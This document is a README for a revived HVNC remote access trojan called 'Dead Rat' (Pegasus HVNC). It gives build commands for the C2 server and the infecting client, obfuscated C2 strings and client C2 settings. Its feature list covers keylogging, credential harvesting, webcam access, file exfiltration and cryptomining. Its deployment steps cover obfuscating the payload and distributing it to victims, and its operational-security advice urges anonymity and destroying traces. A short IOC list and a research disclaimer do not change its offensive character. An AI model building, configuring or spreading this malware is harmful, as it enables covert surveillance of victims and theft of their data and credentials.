🦇 DEAD RAT - PEGASUS HVNC RESURRECTION

"In the shadows where light fears to tread, the wings still beat..."

---

⚡ QUICK START

Server (Control Panel)

cd "Pegasus HVNC\PegasusHVNC-main"
dotnet restore
dotnet build --configuration Release
# Output: bin\Release\net461\PEGASUS FULL VERSION.exe

Client (Silent Wings)

cd "Pegasus HVNC client\PegasusHVNCclient-main"
msbuild "Pegasus_Client.sln" /p:Configuration=Release /p:Platform="Any CPU"
# Output: bin\Release\Pegasus_Client.exe

---

🕸️ ARCHITECTURE

Duality of Shadows

┌─────────────────┐      ┌─────────────────┐
│   THE EYE       │◄────►│   THE WINGS     │
│  (Server)       │      │  (Client)       │
│  • C2 Control   │      │  • Silent       │
│  • Dashboard    │      │  • Persistence  │
│  • 0-day Mgmt   │      │  • Evasion      │
└─────────────────┘      └─────────────────┘
         │                        │
         ▼                        ▼
┌─────────────────────────────────────────┐
│          THE INFECTED REALM             │
│  • Remote Desktop Control               │
│  • Keylogging & Credential Harvesting   │
│  • Webcam/Microphone Access             │
│  • File Exfiltration                    │
│  • Cryptocurrency Mining                │
└─────────────────────────────────────────┘

---

🔮 PREREQUISITES

Tools of the Trade

# .NET Framework 4.6.1+ (The Foundation)
# Visual Studio Build Tools 2022 (The Forge)
# NuGet Package Manager (The Alchemist)

# Verify your arsenal:
dotnet --version
msbuild -version

Dependencies (Extracted from the Tomb)

dll/
├── Guna.UI2.dll          # Dark UI Framework
├── dnlib.dll             # Assembly Manipulation
├── protobuf-net.dll      # Binary Communication
├── Newtonsoft.Json.dll   # Configuration Sorcery
├── BouncyCastle.Crypto.dll # Cryptographic Shadows
└── [7 more ancient artifacts...]

---

⚙️ CONFIGURATION

Server Secrets (PEGASUS/Program.cs)

// The ancient incantations...
string arg = reupload("mbzUMoegmlNm[Rma;iDz]GrS8ODgde|[z{8aCP`i");
string requestUri = reupload("b~~zy0%%xk}$mc~b\u007fh\u007fyoxied~od~$ieg%^boYasdo~Iexzexk~ced%^2::%gkcd%Zky$~r~5~eaod7MBYK^:KKKKKKHXHS@9H?SDES?M=G>NE9HX]SZ\\DY^K");
// Modify these to point to your own C2 altar

Client Markings (Peg/Settings.cs)

public static string Ports = "4782";          // Listening Port
public static string Hosts = "127.0.0.1";     // C2 IP Address
public static string Version = "PEGASUS";     // Identification Sigil
public static string Mutex = "PEGASUSMUTEX";  // Singularity Lock

---

🚀 DEPLOYMENT RITUALS

For the Server (The Watcher)

1. Build the throne - Compile as shown above
2. Configure the altar - Edit C2 endpoints in Program.cs
3. Light the beacon - Run PEGASUS FULL VERSION.exe
4. Await the whispers - Monitor connected souls

For the Client (The Infection)

1. Forge the vessel - Compile client with target settings
2. Bless the payload - Obfuscate if desired (not included)
3. Release the wings - Distribute through chosen vectors
4. Listen for heartbeats - Watch for connections in server

---

⚠️ THE THREE LAWS OF SHADOWS

First Law: Isolation

NEVER run on bare metal.
ALWAYS use VM with NO network.
DISABLE shared folders/clipboard.
TAKE snapshot before execution.

Second Law: Anonymity

NO real IP addresses.
NO personal data in config.
NO traces left behind.
USE VPN/Tor if testing remotely.

Third Law: Discretion

SPEAK not of this in open channels.
SHARE not with the uninitiated.
DOCUMENT only in encrypted forms.
DESTROY all when done.

---

🔒 SAFETY PROTOCOLS

The Iron Cage (VM Configuration)

# Recommended: VirtualBox/VMware with:
# - 4GB RAM, 2 Cores
# - NO network adapter (or host-only)
# - Snapshot before first run
# - Encrypted disk image

The Silent Alarm (Monitoring)

# Watch for these IOCs (Indicators of Compromise):
# - Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PEGASUS
# - Mutex: "PEGASUSMUTEX", "PEGASUS_FULL_VERSION"
# - Process: "PEGASUS FULL VERSION.exe", "Pegasus_Client.exe"
# - Port: 4782 (default C2)

---

🧩 KNOWN ISSUES & SOLUTIONS

The Missing PeToShell

// Created stub in PEGASUS/Design/PeToShell.cs
// Original functionality unknown - likely a PE to Shellcode converter
// Add your own implementation if needed

.NET Framework Reference Assemblies

<!-- If build fails with NU1100: -->
<!-- 1. Install .NET Framework 4.6.1 Developer Pack -->
<!-- 2. Or modify TargetFramework to net48 in .csproj -->

Guna UI2 Dependencies

// DLL included in dll/ folder
// If missing, extract from original dll.zip
// Update HintPath in .csproj if moved

---

📜 LEGEND & LORE

The Name

Pegasus - Winged horse of Greek mythology, symbolizing freedom and power
HVNC - Hidden Virtual Network Computing, the art of unseen control
Dead Rat - Our resurrection of what was left for dead

The History

This code was abandoned in 2022, left to rot in digital graveyards.
We've exhumed it, cleaned its bones, and given it new life.
Handle with respect - or fear - as appropriate.

The Warning

This tool is a double-edged sword that cuts both ways.
It can be used for:
- Security research and education
- Authorized penetration testing
- Understanding attacker methodologies

It CANNOT be used for:
- Unauthorized access to systems
- Criminal activity
- Harming others

The shadows watch those who walk in them.

---

🗝️ FINAL INCANTATION

# To seal this knowledge in your private repository:
git init
git checkout -b main
git add README.md
git commit -m "first commit"
git remote add origin https://gitea.thetempleofdoom.com/drjones/dead-rat.git
git push -u origin main

# Remember: With great power comes great responsibility.
# And with this power comes even greater consequences.

---

"Some tools should remain buried. Some knowledge should remain hidden.
You've chosen to dig. Now you must live with what you've unearthed."

Last Compiled: Under a new moon, when the stars were right
Compiler: The Silent Architect
Status: ACTIVE (Handle with care)